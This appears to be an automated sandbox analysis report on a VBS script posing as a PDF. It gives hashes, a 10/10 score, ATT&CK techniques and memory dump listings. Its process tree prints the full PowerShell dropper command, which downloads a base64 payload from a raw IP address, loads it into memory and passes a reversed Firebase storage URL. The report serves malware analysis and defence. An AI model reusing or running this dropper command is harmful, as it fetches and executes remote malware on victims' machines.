9c3b123bf5be1332f7b3727c8f6c352887437b5329ffc083d0b65833cfe5678c

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
24-12-2024 10:35

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General

Target

URFT06GSBAWRP_001_PDF/RQK02HVBPO_002_PDF.vbs
Size

219KB
MD5

86d9cdbe85e0b345c00063cb59efda75
SHA1

6990625fff03cdc505a7c9a224c39fb9c1b1ab80
SHA256

541752eae29c171bb8ab3f5851b6f58ba58035298b8781990998d22cd4982f6e
SHA512

0f39d5b741cb5fc822f17306537a4659c5ff191f18ef47e18aa3f604eb9d4598f1c01316068285531916a57bd0410b27fd8d44adb3bda41ee691098cd5b1bc2f
SSDEEP

48:DVK0hbQvuivLvyvTxYvsvuiv7vu2vJR2vFvvvfv1KvFvDv2UfHvrvUvgYvc2vGgu:xKWdUIlVc8WGvXimF

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2680	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2680	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2680	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 2680	2232	WScript.exe	30
PID 2232 wrote to memory of 2680	2232	WScript.exe	30
PID 2232 wrote to memory of 2680	2232	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\URFT06GSBAWRP_001_PDF\RQK02HVBPO_002_PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('9a82ea0d2fb5-1179-4854-75ce-8a89ca37=nekot&aidem=tla?txt.cnysay/o/moc.topsppa.483ca-dpoj/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2680-4-0x000007FEF612E000-0x000007FEF612F000-memory.dmp

Filesize
4KB

Download
memory/2680-5-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download
memory/2680-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2680-7-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-8-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-9-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-10-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-11-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-12-0x000007FEF612E000-0x000007FEF612F000-memory.dmp

Filesize
4KB

Download
memory/2680-13-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-14-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download